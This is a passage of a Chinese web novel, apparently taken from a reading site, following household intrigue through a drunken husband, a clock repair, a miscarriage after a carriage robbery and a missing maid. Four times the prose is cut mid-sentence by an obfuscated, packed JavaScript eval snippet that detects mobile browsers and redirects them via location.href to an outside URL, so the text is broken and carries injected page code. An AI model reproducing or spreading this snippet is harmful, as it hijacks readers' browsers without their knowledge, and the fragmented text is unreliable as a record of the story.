萧元昕见三姐妹亲密无间、互相包容、有说有笑的模样，露出无比艳羡的眼光。在萧府里，她除了嫂嫂，连个说话的朋友都没有。姨娘不识字，长嫂管着家，嫡母又不待见她，她总觉得自己多余。 今日在这里，她才觉得自己被别人接受和重视。卢夫人会夸她绣的帕子好看，高兴的命人收起来。几位姐姐也对她关爱有加，热情相待。 她想：这样的人家应该是很好的吧？可为什么母亲提起和姚家的婚事，就忍不住唉声叹气呢？ 小姑娘们在后院玩耍，萧元绰陪着表哥和表弟在书房侃侃而谈，归宁陪着卢夫人在暖隔里闲聊。 归宁将一匹缂丝送给卢夫人，说是代母亲问好，卢夫人一面客气，一面欢喜的收了。缂丝昂贵，从母亲那里拿来的四匹，归宁一匹都不敢留给自己。作为内宅的媳妇，长辈优先，剩下的两匹，一匹要送给赵太太，一匹要送给邓氏。 至中午，卢夫人留夫妻二人用了饭。姚家两个公子都能喝酒，尤其是姚二爷，三人推杯换盏间不由得喝的有些多。回去时，萧元绰都有些站不稳。 姚三爷将萧元绰扶上车，见他在车内东倒西歪坐不稳，对归宁道：“嫂子，我看萧大哥醉的不轻，不如……” 归宁未待他说完，拉着萧元昕的手，抢先道：“夫君喝醉了，路上要有人照应，表弟，你看能不能送我们回去？” 萧元昕扯着归宁后背的衣襟，嗫嚅的唤了一声，“嫂子……” 刚才她们姐妹几个在后花园玩耍时，见三公子过来，姚大姑娘拉起两个妹妹的手，率先跑了，将萧元昕一人留在花榭里。花榭里放了火盆，红泥小火炉中还咕嘟咕嘟煮着茶，茶几上插着刚摘下的梅花，一室芳香袅袅散开。 姚瑾若着一袭宝蓝色曳撒，身形修长，清姿隽逸，脸上笑意绵绵，看到桌上下了一半的五子棋笑问道，“在下棋？” 萧元昕脸飞红云，低眉道，“嗯，我不太会，下的不好。” 姚瑾若撩袍，一屁股坐在太师椅上，感觉到眼前小姑娘拘谨地盯着自己，忙端正了坐姿，笑道：“我教你吧。” 二人有四年没有见面了，萧元昕要守孝，姚瑾若被母亲送去书院读书。现在元昕孝期已满，姚 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541660|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 瑾若学无所成，吊儿郎当地回了家，开始捣鼓他那些破玩意儿。 后来卢夫人才知道，他是因为不务正业，被学院的夫子赶了出来。一气之下冲到书房，不由分说点了一把火，要烧了他这些破烂。姚瑾若急了，不顾众人阻拦，义无反顾的冲进火海，把自己宝贝东西抢救出来，刚踏出门时，一块木头掉了下来，将他砸了个正着。 卢夫人吓得当场昏死过去，二爷和家丁们冒着火将人拖拽出来。后来，经大夫诊治，人无大碍，就是被砸中的后背留下很大一块伤疤。 此后卢夫人再也不管，任由他胡闹下去。这不前几日，他还带着自己改良的鸟铳上山去打山鸡，回来时还骑着高头大马，满京城炫耀一圈，还不嫌丢人，气得卢夫人都不想让他进门。 要是那萧家姑娘，知道自己儿子如此胡闹，还愿不愿意结亲都不好说。可姚瑾若也不在意，全然不把当初的娃娃亲放在心上，一副愿嫁不嫁的模样。 今日被赶来后花园，他也是被逼无奈。见昔日的小丫头已有大姑娘的端庄矜持，不由得将自己的玩心收一收，好好陪她下了几盘棋。 原以为躲过了今日就结束了，一听归宁此言，姚瑾若无意间看了一眼躲在归宁身后的萧元昕，不由得双颊滚烫，支支吾吾道，“那个，我……哎……也行吧……” 表哥醉了，两个弱女子路上无人照看也不安全，又刚才在书房中，萧元绰说起有样东西要麻烦他给修一修，如此送一趟也好。 小姑娘也挺有意思，一副羞答答的模样，很是惹人怜。 卢夫人闻言也趁势把人往外推，“你去送送吧。青然醉成这样，放他们这么回去我也不放心。” 归宁见卢夫人开口，心安了大半，让姚瑾若上了萧元绰的车，自己拉着萧元昕上了后面的马车。 以前每每萧元绰喝醉酒后都会抱着归宁不撒手，晚间也闹得更凶，几乎要把归宁揉碎吞入腹中才肯甘休。归宁有些怕，才坚持让姚瑾若送一送。 ** 至萧府，邓氏闻听萧元绰喝醉了，本想让人送回自己的院子亲自照看，可又听说是姚家三爷送回来的，忙打消了这个念头，继续与院中做客的邓家女眷有说有笑。 邓雪柔暗中偷听了下人们的回话，忙关切道：“姑母，听说表哥喝多了，下人们毛手毛脚的，要不我去看看吧。” 邓睿江之妻孟氏也跟着笑道，“是啊，弟妹一人恐怕照顾不过来，让雪柔过去瞧瞧吧。” 邓氏放下手中的佛珠，微微扬了扬头，笑道：“去吧。” 若是把人接到她的院子，确实方便邓雪柔，可这样会给姚家说嘴的机会，也会让归宁难堪，与她这个婆母生出嫌隙来。若是再传到宋娘子的耳朵里，以她的性子，多半会借机敲打萧元绰，得不偿失。 让邓雪柔去前院，机会她给了；可这院子里管家的是归宁，如何安置，也不关她的事，如此两边都不得罪。邓雪柔碰了壁，以后会更依赖她这个姑母。 25. 怒火 姚瑾若扶着萧元绰进书房躺好，归宁亲自去安排解酒汤。大约过了小半个时辰，归宁领着南烟来送解酒汤。进屋瞧见姚瑾若在外间坐着，以手撑额，好像有些微醺。 南烟上前将姚瑾若唤醒，“姚三爷，喝碗解酒汤，醒醒神吧。” 姚瑾若迷迷糊糊地应了一声，端起解酒汤一饮而尽，继续靠在太师椅上，闭目养神。不是他想醉，而是屋里有人，他要避嫌。 南烟拿起一旁的毛毯，给姚瑾若盖上。主仆二人这才挑帘进屋，见邓雪柔正担忧地守在床头。她见归宁进来，忙起身道：“姑母听说表哥喝多了，让我过来瞧瞧打紧不打紧。” 归宁面色如常，温声笑道：“辛苦你了，我刚命人熬了解酒汤。” 言罢，打了两个喷嚏。 南烟见状，忧心道：“诶呀，可能刚才走得急，着了风了。这天寒地冻的，一会儿厨房煮汤，一会儿来书房送汤，忽冷忽热来回折腾，夫人也要保重呀！” 归宁顾不得回答，以帕掩口，接连打了几个喷嚏，摆摆手道：“我是不中用了，别把病气过给夫君。委屈表妹搭把手，帮南烟一把，服侍夫君先把解酒汤喝了吧。” 言罢，自己往后退了一步，把地方让出来。 南烟扶着迷迷糊糊的萧元绰，让他不至于跌下去，邓雪柔喂汤。萧元绰很配合地喝了半碗，迷离抬眼间，看眼前人不是归宁，无端怒从心起，一把将她手中的解酒汤打落，质问道：“怎么是你？” 邓雪柔被他突来的举动吓得不知所措，起身退了几步，委屈地红了眼眶，低声喊了句，“表哥——” 邓家人常来府上做客，他以为自己在母亲的院中，四处打量了一眼，发现是在自己书房，才收敛了怒气，道：“对不住，是我喝多了。” 一通怒火发出来，人也清醒了不少，瞥见归宁站在邓雪柔身后，面色突然和软了许多，“自己的夫君不会照看吗？还要假旁人之手。” 南烟忙解释道：“夫人刚才吹了冷风，恐怕身上不妥。” 萧元绰觉得邓雪柔留在这里十分不便，对她道：“你先回福寿堂吧，给母亲说我无碍，有夫人在这里呢。” 邓雪柔红着眼，跑了出去。归宁被萧元绰拉回身边，将她冰凉的手捂在胸前，“天气冷，莫要冻病了，我帮你暖暖。” 言罢，掀开被子的一角，要将人抱上来。 归宁大惊，忙道：“夫君，姚表弟还在外面呢。” 萧元绰这才想起是姚瑾若将他送回来的，轻叹口气，松开了归宁，“你也回去歇着吧，让文轩找个房间把瑾若安顿了，让他也先睡会儿。晚上我们两个在前院用饭，你不用等我了。” 归宁看了一眼地上的碎瓷，道：“解酒汤洒了，我再让人盛一碗过来？” 萧元绰摇头，“不必麻烦了，我已经醒了。” 待归宁离开，躺在床上的萧元绰只觉心口堵得发慌，他有些想吐，可又懒得动弹。他都醉成这样了，归宁都不肯扶他一把。在盛昌伯府门口，他紧紧地扯着归宁的衣襟，想让她搀自己一把，可她却把自己交给了旁人。 他说不出是一种什么情绪，只觉得归宁对他若即若离，梦中她从自己怀中挣脱出来，一直在前面跑，他一直在后面追，可一睁眼，却看到了邓雪柔，让他的憋闷的情绪瞬间爆发出来。 他劝自己，她只是身体不舒服，不是故意躲避他。他没有露出什么破绽，姑母待他一如既往。 无论如何，她都是他的妻，是要陪他过一辈子的人。 胡思乱想间，萧元绰酒意上头，又昏睡过去。 ** 再度醒来，已是戌时，屋内漆黑一片，起身喊了两声：“来人，来人。” 外间的文轩听到屋内的呼唤，挑灯进来，拿了衣服服侍他更衣，“大爷，姚三爷和二姑娘在外面一直等着您呢。” 萧元绰眉尖微挑，没有言语。 挑帘出了内屋，见屋子里的四方桌上摆着两盏银釭，照得整个屋子明晃晃的。他从梅姑母那里拿来的那只西洋钟，被姚瑾若拆得七零八落，他正在那儿组装，元昕在一旁安静地剪灯烛。 萧元绰见满桌子零零散散的东西，心中大骇，惊呼一声道：“姚瑾若你在干什么，谁让你拆的？” 姚瑾若头也不抬，勾勾手，示意元昕将灯烛移到自己左手边，“表嫂说有个东西让我修一修，我第一次见，就给拆了。” 萧元绰恼怒不已，“我是想让你修，不是让你拆。你拆成这样，能装好吗？” 姚瑾若大言不惭道，“这世上就没有我装不好的东西，不信你等着。” 音刚落，一样东西从他身上掉了下去，发出清脆的哒哒声，姚瑾若赶紧起身去找，取银烛的时，不小心又把桌子上的另一样东西碰了下来，滴滴哒哒的不知滚落到了何处。 见他拿着银烛满屋子的摸索，萧元绰怒不可遏，将滚到脚底下的小东西一脚踢飞，气冲冲地出了门。 元昕见大哥哥一脸怒气的走了，心里七上八下地坐立不安。姚瑾若弯着身子在屋子里摸索了一圈又一圈，终于把掉落的小部件找了回来。抬头见小姑娘一副心神不安的模样，忙劝道：“你先回去吧，这不关你的事。” 萧元绰一路疾走，直奔后院，走到福寿堂门口，刚要抬步进去，又止住了，这些事和母亲说有什么用？前有老太太，现有归宁，母亲是从来不是操心的。 怀着一腔的怒气，萧元绰转头去了孤芳苑。此时归宁已经用了晚饭，怀里抱着初一，很惬意地歪在暖阁上翻书，窗台上梅瓶上红梅含苞待放，暗香幽幽。 初一是刚给小狗起的名字，归宁不知道叫什么好，为了逗它，让丫头婆子报了好些名字来，写在纸上，最后它自己选了初一这个名字。 这个名字是归宁随手写的，而那张纸在萧元绰送她的累丝嵌宝石 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541661|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 金凤簪下放了一夜。母亲精挑细选的小宝贝，果真没让她失望。 萧元绰走得很急，下人们刚往里通报了一句，他就打帘进来了。归宁听到脚步声，将书册放置一旁，拿起搁置了多日的香囊，继续绣着，见他来，忙下炕福身道：“夫君不是说今晚在前院用饭？” 以为他是怪她没把饭及时送过去，忙解释道：“饭菜在厨房温着，冬天凉得太快。给文轩说了，等夫君醒了，就让厨房把饭菜送过去。” 见他一脸怒容，又小心道：“是出了什么事？” 萧元绰憋着一肚子火气，可也不好对面前兰心蕙质娉婷秀雅的夫人发作，一把将人扯进怀里，沉闷道，“瑾若将那只西洋钟给拆了，估计是装不上了。后日我想去拜会恩师，不知道送什么合适。” 凭归宁前后两世对萧元绰的了解，他是自控力极强的人，不该为这点儿事大发雷霆，这背后定然牵扯着其他事。 他向来重官声和名誉，一生所望就是入阁拜相，大展宏图。定是朝堂上遇到了阻碍，遂低低问道：“夫君在官场上是不是遇到了什么难处？” 萧元绰没想到她会猜的这么准，心头的怒气被无限的郁结取代，一点点浇灭他心中昂扬的斗志，“皇上似乎不喜欢萧家。杨阁老劝我韬光养晦，不要锋芒毕露。” 萧元绰在杨阁老隐晦的提醒中感觉到，这个和祖父有同僚之谊的阁老并不愿意举荐和提拔他，希望他谦逊低调，谨慎为官。所以他才更希望恩师能给他些助力。 无意间一番话，确实提醒了归宁，嘉元帝在世时，因外祖父护驾有功，对萧家很是偏袒。 嘉元帝驾崩之后，五皇子继位，萧家所受的恩宠与日俱衰。 据她的记忆，当今皇上会在明年薨逝，由内阁辅佐小皇子继位，从而开启长达数十年的内阁主政时期，直到张首辅大权独揽，萧元绰才慢慢得到重用。 他本该有一条平步青云之路，只因守制而被迫从头开始，对于他这种心比天高之人，郁郁不得志的每一日，都应该饱受煎熬。 归宁轻抚他的后背安慰道，“我这里有几本古籍，都是世间唯存的孤本，很是难得，不比那个西洋钟差。” 外祖母搜集的不少稀罕东西，都被吴明拿出去悄悄卖了，让本就不熟悉府中庶务的萧元绰更加为难。 “那这些东西，我以后想其他办法弥补你。” 归宁笑笑道：“宝刀赠英雄，宝马配良将。传世孤本到了大师手上才能品鉴其价值，像个普通的物件躺在我的嫁妆里落灰，那才是浪费。” 见萧元绰抱着她不肯松手，归宁又道：“夫君该回前院看看了，三表弟还没吃饭呢。” 他这个主人就这么气冲冲的走了，把客人丢下，有些说不过去。 萧元绰恋恋不舍地松开她，转头刚踏出几步，又突然回转，冷不丁地抱住归宁，低头在她柔软的唇间轻轻印上一吻，才放手离开。 26. 劫匪 当夜，萧元绰陪着姚瑾若在前院用了饭。 姚瑾若心怀愧疚，匆匆扒拉了几口，又回去捣鼓那些零碎的东西。萧元绰见状劝道，“装不好就算了。” 姚瑾若读书不争气，这方面一定要争个高低，“不行，我就不信装不上。装不好它，我就不回去。” 抬眼对文轩道，“你替我回去传个信，就说我在这里有要事处置，什么时候办完了，什么时候回家。” 文轩看向萧元绰，等他示下。 萧元绰知道这个表弟倔脾气上来，八头牛都拉不回来，要不表舅母烧他那堆东西时，他也不至于闹得险些把自己命都丢了。 萧元绰摆摆手，叹口气道：“去吧。让他折腾吧。” 就这样，萧元绰命人准备了一间客房给姚瑾若，姚瑾若也不客气，就这么住下了，连换洗衣服都没让家里人送。 白日萧元绰去上朝，姚瑾若埋头苦干；晚间萧元绰伏案写奏请或者策论，他继续倒腾。他还真想看看姚瑾若能弄成什么样子，将看望恩师的日子往后延了几日。 恰在温泉山庄小住的大姐姐回了府，就和归宁商议，先去姐夫家去一趟。 姚瑾若已经在这里住了两日，除了吃饭睡觉，其余时间都在捣鼓那只西洋钟。白日二姑娘元昕会来这里小坐，安静地练着书法。两人时不时抬头看向对方，抿唇笑笑，又赶快低头去忙。 姚瑾若还不忘夸口道，“等我把这个研究透了，就做一个送你。” 元昕笑而不语，觉得他也有痴症，而且病得不轻。 嫂嫂他们今日去大姐姐家，问她要不要同去，元昕知道嫡母会去，很干脆地摇头摇头拒绝了，巴巴来这里陪他枯坐，也是痴。 ** 萧元绰、邓氏还有归宁一行三人跨进赵家府邸时，归宁隐隐感觉到一股不同寻常的压抑，府内丝毫没有过节的热闹。 赵家老爷已经过世，赵家大爷在外地做官，故赵太太跟着小儿子住在京师。她也是看中了天子脚下，最方便人情往来。 赵太太和赵明敬脸色微沉地迎了出来，不见萧元荷，也不见跟在赵太太身边服侍的乐巧。 归宁心中微惊，瞧了邓氏一眼，果真邓氏先开口玩笑道：“元荷呢？还给我这个当娘的使性子，该打！” 赵太太将他们往里请，面色凝重道，“她这几日身子不舒服，正卧床休养，我这就带你们去瞧瞧她。” 以往萧元荷但凡有点不好，邓氏都能很快得了信儿，可邓氏和他们一样被蒙在鼓里，这事儿可能不简单。 一听女儿身体不适，邓氏的脚步有些急，直奔萧元荷居住的芙蓉居。甫一进内室，瞧见萧元荷面色憔悴地喝着一碗汤药，忙三步并两步扑过去，心疼道，“我的儿，你这是怎么了？” 见到母亲，萧元荷未语先落泪。本是清丽的面庞，没有了精致妆容描绘出的浓艳衬托，少了些摄人心魄的明艳，更多的是憔悴与病弱。 母女俩抱着痛哭了一阵，萧元荷才哽咽开口：“刚怀上的孩子没了……” 邓氏心头又惊又慌，却不敢露出丝毫破绽，痛心道：“怎么回事儿？到底发生了什么？” 归宁闻听母女二人对话，也是一头雾水，萧元荷怀孕了，什么时候的事？前世她生了一个儿子之后，后来确实又生了一对龙凤胎，不过那是距现在三年后的事情了。 那时邓氏还拉着她来道贺，送了半车好东西。归宁自小产后一直吃药调理，一年多过去了，肚子还是没动静；又遭遇母亲去世的打击，整个人都憔悴无比。看着别人欢喜热闹，脸上挂着的笑容透着无尽的酸涩与愁闷。 身旁的大丫头一个接一个出嫁，南烟也跟着丈夫去了扬州，唐妈妈回了苏州，香冬生了个闺女，当个宝贝似的整日孩子长孩子短，萧元绰得了提拔，愈发的忙碌。 她虽是伯府管家的夫人，身后没有亲人，身旁能说得上话的知心人越来越少，心中的孤苦，也只有自己可解。 看着萧元荷哭得如此委屈，归宁想起过往的十多年被虚假与伪善算计包围的自己，也忍不住委屈的落下泪来。 萧元荷对归宁一肚子的怒火无处发泄，见她哭得比自己都伤心，更觉得她是给鸡拜年的黄鼠狼，没安好心。心里又恨又气，恨恨地瞪着她，眼泪像断了线的珠子，啪嗒啪嗒往下掉。 上次都怪她，要不是她手下的周嬷嬷和南烟多事，没事儿偏要去前院转悠，吴明何至于失手？她又怎会受牵连，遭婆婆厌弃？没有处理掉乐巧这个心头大患，还让赵明敬对乐巧多了一分亏欠，真是赔了夫人又折兵。 出了上次那事，萧元荷委实温柔贤淑了不少，洗手做羹汤，对赵明敬嘘寒问暖。仗着自己长了一副好皮囊，略施薄粉便是艳压群芳的明丽逼人，让赵明敬移不开眼。一连几日二人都如胶似漆，相拥襄王梦，共赴巫山雨。 孩子应该就是在那几日悄悄来的，只不过月份小，萧元荷根本没注意。年底事多，月事推迟了几日，她也浑然不觉。这次意外流产，流了一地的血，又在大冷天里冻了半日，大夫说可能会落下病根。 赵太太将邓氏和归宁迎进来，本指望二人说些宽慰的话，安慰一下萧元荷。可见一家人都哭得如此伤心，自己也跟着动了肝火，坐在一旁默默垂泪，也不知道是哪里来的杀千刀的歹人，竟敢打劫官眷的车。 原是从三河回京师要走过一段较为荒凉的路，平常人来人往，倒是不显，不过现在是年节，家家户户都窝在家里准备过年的年货，路上商旅和行人少了许多，而且她们出来的晚，路上着急，为了抄近路，选了一条更为偏僻的小路，不想就遇到劫匪劫车。 那群人黑衣蒙面，来势汹汹。从荒山上跳下来，二话不说，不管三七二十一，一脚将车前赶车的车把式踢飞，坐在车前，驾起两辆马车飞奔而去。 从三河往回走的途中，一路晃晃悠悠，萧元荷本就有些不舒服。她没想到是自己有了身子，只怀疑是吃了不干净的东西，一直想吐。可又怕婆母说她多事，嫌弃她娘家饭菜做得不好，故意拿乔做样子给她看。只能维持官眷的体面端庄，一路强忍着。 可歹人劫持马车之后，疯一般往前跑，马车颠簸得更加厉害，萧元荷感觉肚内一阵翻江倒海，又忍不住要呕吐。 此时车内赵太太已经被颠得东倒西歪，在车厢内左摇右晃。 萧元荷不敢吐在婆婆身上，就扒着马车车 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541662|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厢，将头从车窗内探出来，“哇”地吐了一大口。 正当腹内有所缓解之时，疾驰的马车轱辘撞在了一块石头上，一个重重地颠簸，将半边身体探出马车车窗的萧元荷颠了下来，结结实实地摔在地上，滚落到一旁的荒地里。 赵太太见萧元荷被甩了出去，急忙大声呼救：“来人呀，救命呀，出人命了……救命啊……” 驾车的两个歹徒也见有人摔了出去，真怕闹出人命来。生怕再把车里这个老妇人再给颠出去摔出个三长两短，那时真要吃不了兜着走了，急忙勒住马车。 两人互看了一眼，钱财也不敢劫了，撒丫子就跑。 孤助无援的赵太太老胳膊老腿都快颠散架了，趴在车前干呕了许久，才勉强爬起来，跌跌撞撞朝着萧元荷的方向走。 彼时的萧元荷被甩出来后滚落到小道下的荒地里，昏死了过去。赵太太过去一瞧，发现她头被磕破了，身下还红了一大片，暗道不妙。连忙连拉带拽地将人拖上了小道。 年根儿底下，又是天擦黑的傍晚时分，荒郊野外人烟稀少。跟随的家丁和婆子们被远远地甩在了后面，赵太太抱着萧元荷，不顾体面的大喊，“救命……我们在这里……” 天寒地冻，萧元荷身下的血越流越多。赵太太年纪大了，坐在冰冷的地面上实在受不住，又跑回到远处的马车上，将车上的毛毯取了下来，裹在两人身上继续等待。 大约过了小一个时辰，被远远甩开的小厮才找到她们。可小厮们是外男，男女授受不亲，萧元荷又是这个样子，赵太太不让他们靠近，以免污了女主子的名节。 小厮们又折返回去，将甩在后边的丫头婆子拉来。婆子们上前，七手八脚地将萧元荷抬上了马车，这样又耽搁了大半个时辰。 萧元荷在通州有一处温泉庄子，不出意外，走小路今晚之前就能到庄子上歇脚。 今日这么一折腾，走到庄子时，已经到了半夜。此时，萧元荷下半身的衣服已经被血浸透，人也一直昏迷不醒。 下人们寻遍了附近，四处打探，才找来一位郎中。那位郎中年事已高，本是想趁着过年在老家休养，谁知天寒地冻的深更半夜，被自家的老婆子从温暖的被窝里薅了出来。 赵家出手阔绰，二话不说就先甩出了三锭银子，足有一百五十两，平日里一年都挣不来这么多，也不怪他家老婆子着急。 老郎中见多识广，稍稍喘了口气，就给病人号了脉，又是摇头又是叹气，看得赵太太眼皮突突直跳，在一旁急道：“大夫，到底怎么样了？” 老郎中手捻胡须，道：“小产引发的大出血，又在外面冻了这么久，以后恐怕会烙下病根。” 赵太太顾不得问以后怎么样，赶紧催促道，“那赶紧开方子呀。” 老郎中斟酌着给开了方子，这时候药店都关了门，只好先给萧元荷行针散寒，疏通经脉。 直到四更天，这第一碗药才给灌进去。次日，萧元荷仍未苏醒。老郎中复又诊了脉道：“灌汤婆子，将身子焐热。若是今晚再不醒，就危险了。” 赵太太吓得一整宿都没睡好，毕竟是在从自己娘家回来的路上出的事，这让她怎么和萧家交代？ 27. 乐巧失踪 前段时间，赵太太听说家中老母抱恙，故准备带着乐巧过去探病，顺便小住几日。乐巧是赵太太娘家的远房亲戚，带着她也合情合理。 可萧元荷听说后，主动提出要陪赵太太回娘家瞧瞧，还说，“婆母去给长辈侍疾，儿媳怎能置身事外？” 赵太太见她如此孝顺懂事，心里颇感安慰，没再推辞。让娘家人瞧见自己儿子娶了这么一位又贴心又明艳的媳妇，是极大的脸面。 老母无大碍，婆媳几人住了三五日准备往回走。这时萧元荷体谅婆母照看老人辛苦，主动提出去温泉山庄住几日，泡泡温泉解解乏，庄子就在通州，距离三河不远。 赵太太欣然应允了。谁承想，半路上竟然出了这档子事。 见萧元荷一直昏迷不醒，赵太太始终不敢去歇息，守在她床边刚刚打了个盹，就又被人摇醒了。 原来出事的不仅是萧元荷一人，赵太太身边最得力的婆子郑妈妈和乐巧在另一辆马车上，人到现在都还没有找到。 那伙劫匪异常聪明，一波劫持了赵太太和萧元荷的车，继续往前赶。还有一伙劫持了乐巧和郑妈妈坐的车，调转马头朝相反的方向跑。 这下把随行的家丁弄懵了，一时间不知如何是好。等回过神来之际，两辆马车都跑没了影。 不过还是要以主子的安危为重，短暂的慌乱过后，众人决定留两个人去追乐巧姑娘坐的车，其他人都跟在赵太太的车后追。 最后赵太太和二奶奶找了回来，乐巧姑娘到现在还没个人影。 追出去的两个人刚刚回来禀报，只在一条僻静的小路上看见一辆跑掉了一只车轱辘的马车。别说是人，连马匹都被掳走了。 两个下人没寻到人，也不敢擅作主张，这才急匆匆回来禀报。 赵太太心里早就是一团乱麻，不知道怎么处置妥当。若是报官，大家就都知道乐巧那孩子落入歹人手中，不管有没有发生什么，清白都毁了。不报官，这个哑巴亏，她也咽不下去。 乐巧这孩子自幼命苦，来了赵家之后，照顾赵太太也是百般用心，她实在不忍心。而且这孩子还有另一重身份，不宜被外人知晓。 思来想去，她让人去回府上去喊赵明敬过来。 小厮不敢怠慢，骑上快马立刻去办。赵太太没让他们具体告知赵明敬是什么事，只说让他快些来。 赵明敬匆匆告了假，赶到通州温泉山庄时已是半夜。萧元荷刚刚苏醒了一阵，这会儿又疲惫的睡了过去。 赵太太已经疲惫地睁不开眼，先去歇息了，留下赵明敬和萧元荷的贴身丫头守后半夜。 这时赵明敬才知道事情的原委。心里暗暗埋怨母亲，为什么不早告诉他，这样他出发前就去报官，今日一大早官差就能到案发地寻贼了。 翌日一早，赵太太刚拖着疲惫的身子踏出房门，就隐隐听到赵明敬吩咐贴身小厮拿着他的印信去报官的消息。 忙上前几步阻止道：“别报官，一旦报官乐巧这辈子就毁了，还是我们派签了死契的下人四处找找吧。若是他们想勒索银钱，母亲来出。” “万一报官把那群亡命之徒惹急了，把人杀了怎么办？” 赵明敬只觉母亲偏袒乐巧，却不知为了护住乐巧竟然如此糊涂，严词道：“母亲，荷儿差点儿丢了性命，怎能任他们如此肆意妄为？” 争执之际，躺在内屋的萧元荷醒了，虚弱地唤了几声，“夫君……” 赵明敬听到动静，顾不得和母亲争执，挑帘进了屋，赵太太也跟着迈步进来。 失血过多的萧元荷面色惨白，憔悴不已，赵明敬过去坐在床边，安抚道：“身上感觉怎么样？疼不疼？” 萧元荷望着关心自己的丈夫，心里一阵难过，眉眼低垂，眸中含泪道：“我还好。夫君，婆母说得对，不能报官。我和婆母，乐巧还有郑妈妈都被歹人劫持了。若是报官，这事传出去，我的脸还往哪儿搁？虽然什么都没发生，可就怕有人胡言乱语，背后随意编排人。” “夫君，孩子已经没了。乐巧妹妹还在他们手上，咱们万事好商量，先把人救回来要紧。真是把人逼急了，闹出了人命，就后悔莫及了。” “这群歹人劫持官眷，无非就是为了钱财，他们一定会有后招。” 萧元荷身体虚弱，说完这番话已经有些气喘，靠在赵明敬肩头，轻轻抽泣了几声，又道：“夫君再等两日，若是他们来了信，约定了交易地点，我们再来个瓮中捉鳖。一旦报官打草惊蛇，就不好了。” 听完萧元荷这番话，赵太太觉得她不是一味的刁蛮，大事面前还是很明事理的，不愧为弘文伯府出来的姑娘。 赵明敬心里虽咽不下这口恶气，但母亲和内子都不愿意报官，也只能勉强点头。 只是一连等了多日，也不见那伙贼人上门要钱。庄子上到底不如在府中方便，且赵明敬还有公务要办，和赵太太商定之后，打算先回府中修养。 一直到今日，邓氏带着萧元绰夫妇上门来送年礼，她们才从赵太太口中得知这几日发生的事。 到现在，乐巧和郑妈妈还没有下落。赵家一直派人在出事的附近搜寻，仍旧没有寻到两人的身影。 赵太太说完，在一旁唉声叹气。邓氏也跟着难过，拉着萧元荷的手，心疼道：“你受苦了，我的儿。”旋即又惋惜道，“乐巧那丫头也是命苦。” 赵明敬和萧元绰二人在外间，归宁隐隐约约听到二人的争执，“姐夫真是糊涂，怎么能不报官呢？” “女子不易，报了官传得满京城皆知，让她们以后何以见人呀？” 萧元绰显然并不赞同：“现在贼也抓不着，人也找不见，仅凭赵家那几个仆人找，不过是杯水车薪。任凭那些贼人逍遥法外，岂不是助纣为虐？” 赵明敬后边说了什么，归宁没听到，或许他什么也没说。很快萧元绰挑帘进屋来看他的姐姐，屋内扑面而来的凝重，让他的内心跟着一沉。 一家人说了好些宽慰的话，见萧元荷神情疲惫，众人这才退出来，留她好好休息。 赵家出了这样的事，他们也没心情留下用饭，到了晌午就告辞离开了。 邓氏在前面独坐一车，萧元绰和归宁一车。 见归宁 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15541663|171000||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼圈儿一直红红的，萧元绰拉起她的手，拢在掌心，道：“还指望你多宽慰大姐姐和母亲几句呢，你怎么也哭起来了？”这话里多半是苦中作乐的玩笑，想逗逗她。 归宁想起前世无缘一见的孩子，心里酸楚不已，“大姐姐一定很痛吧。” 她当时也是痛极了，甚至隔了一世，还能真切的感觉到血从身体里不断涌出的那种无助感。 见归宁神色哀婉，如被寒风摧残的红梅，娇艳又凄惨，扎得萧元绰的心一抽一抽地疼，一把将人揽入怀中，在她耳旁低低道：“你若害怕，咱们晚几年再要孩子吧。” “都说女人产子，无意于鬼门关里走一遭。咱们以后不要孩子也行，我怕你受不住。” 闻此言，前世临死前的那口闷气再次涌入心间，堵得五脏六腑都跟着翻腾，是心疼她？还是他根本就不想她有孩子？ 本是谦谦君子，怎得如此口是心非，嘴甜心苦？那个孩子没了，她在哭，他是不是在笑？ 今日过往种种委屈涌上心田，让压抑许久的归宁终于又爆发出来，伏在萧元绰怀里，哭得不能自已。 